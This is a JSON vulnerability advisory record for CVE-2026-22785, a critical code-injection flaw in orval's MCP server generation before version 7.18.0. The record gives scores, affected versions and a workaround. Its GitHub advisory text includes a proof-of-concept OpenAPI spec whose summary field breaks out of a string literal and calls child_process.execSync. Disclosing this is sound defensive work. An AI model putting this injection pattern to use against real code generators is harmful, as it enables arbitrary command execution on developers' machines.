{"id":"CVE-2026-22785","aliases":["CVE-2026-22785","GHSA-mwr6-3gp8-9jmj"],"related":[],"kind":"vulnerability","state":"published","title":"orval MCP client is vulnerable to a code injection attack.","summary":"orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Prior to 7.18.0, the MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to \"break out\" of the string literal and inject arbitrary code. This vulnerability is fixed in 7.18.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Prior to 7.18.0, the MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to \"break out\" of the string literal and inject arbitrary code. This vulnerability is fixed in 7.18.0.","source":"cvelist"},{"lang":"en","text":"### Impact\nThe MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to \"break out\" of the string literal and inject arbitrary code.\n\nHere is an example OpenAPI with the exploit\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Swagger Petstore - OpenAPI 3.0\n  description: |-\n    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about\n    Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!\n    You can now help us improve the API whether it's by making changes to the definition itself or to the code.\n    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.\n\n    Some useful links:\n    - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)\n    - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)\n  termsOfService: https://swagger.io/terms/\n  contact:\n    email: apiteam@swagger.io\n  license:\n    name: Apache 2.0\n    url: https://www.apache.org/licenses/LICENSE-2.0.html\n  version: 1.0.27-SNAPSHOT\nexternalDocs:\n  description: Find out more about Swagger\n  url: https://swagger.io\nservers:\n  - url: https://petstore3.swagger.io/api/v3\ntags:\n  - name: pet\n    description: Everything about your Pets\n    externalDocs:\n      description: Find out more\n      url: https://swagger.io\n  - name: store\n    description: Access to Petstore orders\n    externalDocs:\n      description: Find out more about our store\n      url: https://swagger.io\n  - name: user\n    description: Operations about user\npaths:\n  /pet/findByStatus:\n    get:\n      tags:\n        - pet\n      summary: Finds Pets by status.' + require('child_process').execSync(\"open -a Calculator\").toString(),//\n      description: Multiple status values can be provided with comma separated strings.\n      operationId: findPetsByStatus\n      parameters:\n        - name: status\n          in: query\n          description: Status values that need to be considered for filter\n          schema:\n            type: string\n      responses:\n        '200':\n          description: successful operation\n          content:\n            application/json:\n              schema:\n                type: string\n        '400':\n          description: Invalid status value\n        default:\n          description: Unexpected error\n      security:\n        - petstore_auth:\n            - write:pets\n            - read:pets\n ```\n  \n\n### Patches\nThis is fixed in version 7.18.0 or higher\n\n### Workarounds\nDo check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.","format":"markdown","source":"ghsa"},{"lang":"es","text":"orval genera clientes JS con seguridad de tipos (TypeScript) a partir de cualquier especificación OpenAPI v3 o Swagger v2 válida. Antes de la versión 7.18.0, la lógica de generación del servidor MCP se basa en la manipulación de cadenas que incorpora el campo 'summary' de la especificación OpenAPI sin una validación o escape adecuados. Esto permite a un atacante 'escapar' del literal de cadena e inyectar código arbitrario. Esta vulnerabilidad está corregida en la versión 7.18.0.","source":"nvd"}],"published":"2026-01-12T18:43:16.637Z","modified":"2026-06-17T10:20:25.400Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-77"],"affected":[{"ranges":[{"version":"< 7.18.0","status":"affected"}],"vendor":"orval-labs","product":"orval","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.18.0"}],"ecosystem":"npm","package":"@orval/mcp","purl":"pkg:npm/%40orval/mcp","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"7.18.0"}],"vendor":"orval","product":"orval","cpe":"cpe:2.3:a:orval:orval:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/orval-labs/orval/security/advisories/GHSA-mwr6-3gp8-9jmj","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/orval-labs/orval/commit/80b5fe73b94f120a3a5561952d6d4b0f8d7e928d","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22785","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/orval-labs/orval","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-01-12T18:56:42.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22785","url":"https://www.cve.org/CVERecord?id=CVE-2026-22785","licence":"CVE Terms of Use","modified":"2026-01-12T18:56:50.902Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mwr6-3gp8-9jmj","url":"https://github.com/advisories/GHSA-mwr6-3gp8-9jmj","licence":"CC-BY-4.0","modified":"2026-02-03T03:01:01.103Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22785","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22785","licence":"Public domain","modified":"2026-06-17T10:20:25.400Z"}],"updatedAt":"2026-11-25T22:59:12.735Z","epss":{"score":0.00778,"percentile":0.57057,"date":"2026-12-01T12:00:22.000Z"}}